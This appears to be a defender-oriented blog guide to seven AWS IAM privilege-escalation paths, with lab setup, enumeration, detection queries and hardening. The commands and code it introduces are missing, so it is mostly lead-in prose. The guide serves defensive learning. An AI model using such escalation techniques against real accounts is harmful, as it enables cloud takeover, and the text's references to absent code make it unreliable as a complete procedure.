AWS IAM Privilege Escalation: 7 Attack Paths (Hands-On Guide 2026)

IAM privilege escalation is the act of turning a limited AWS identity — an IAM user, an assumed role, or a set of leaked long-term keys — into one with substantially more power, up to and including full Action:"*" Resource:"*" administrator. Unlike a memory-corruption exploit, it needs no vulnerability in AWS itself. The "bug" is a policy the account owner wrote: a wildcard action, an unscoped iam:PassRole, an over-broad managed policy, or a trust policy that trusts too much.

This matters to defenders because it is the pivot that connects an initial-access event to a breach. A key leaked in a public GitHub commit or a compromised CI runner is only worth as much as the permissions behind it — until the attacker escalates. Every path below leaves a distinct, greppable trail in CloudTrail, and most trigger AWS GuardDuty. If your SOC understands the offensive mechanics, the detection content in Phase 9 stops being abstract.

The techniques map cleanly to MITRE ATT&CK for Cloud, primarily under Privilege Escalation (TA0004) and Persistence (TA0003). Here is the framing we will use throughout:

You need a sandbox AWS account, the AWS CLI v2, and a small tooling stack. Nothing here costs meaningful money if you stay in the free tier and tear the lab down; the one exception is if you actually launch the EC2 instance in Path 5, so use a t3.micro and terminate it.

Install the AWS CLI v2 on Linux and confirm the version:

Configure two named profiles — one admin (to build/clean the lab) and one that will hold the attacker's low-privilege keys once you create them:

The fastest lab is a single low-privilege user whose policy contains exactly one over-scoped action per path you want to try. We will grant several so you can run all seven paths from one identity, but in the real world you usually find just one.

Rather than polluting your host with Python tooling, run the enumeration and exploitation stack in a container. This compose file bundles Pacu (Rhino Security Labs' AWS exploitation framework), the AWS CLI, and PMapper into one reproducible image and mounts your credentials read-only.

For a repeatable, tear-down-in-one-command lab, describe it as code. This is how you would provision the same environment for a team exercise or a CI-gated detection test. OpenTofu works identically if you prefer the open-source fork.

Before exploiting anything, an attacker asks one question: what can this identity actually do? The answer decides which of the seven paths is viable. There are three enumeration styles — read your own policies, brute-force with a wordlist, and build a graph.

Each path below is self-contained: the enabling permission, the exact CLI, and what you verify to confirm escalation. Run them from the attacker profile. Every command here maps to a specific CloudTrail eventName that Phase 9 hunts.

Reaching admin is the milestone; what a real intruder does next is what causes the breach. These are the moves defenders should expect immediately after any successful escalation — and they are the highest-signal detections.

Every path leaves CloudTrail evidence. The highest-fidelity analytic correlates an IAM-mutating call with an immediate privileged action from the same principal. Below: the raw event signatures, then the same detection in Athena SQL (native CloudTrail), KQL (Microsoft Sentinel via the AWS connector), and SPL (Splunk AWS Add-on).

Detection catches the attack in progress; hardening removes the path. Work top-down: deny the escalation actions where you can, scope the ones you cannot remove, and keep a proactive review loop so new loose policies surface fast.

The most common friction when running this lab is not the exploit — it is the CLI errors that mask an actual denial or a missing dependency. Work through these before assuming a path "does not work."

Primary references for the techniques, tooling and detections in this guide: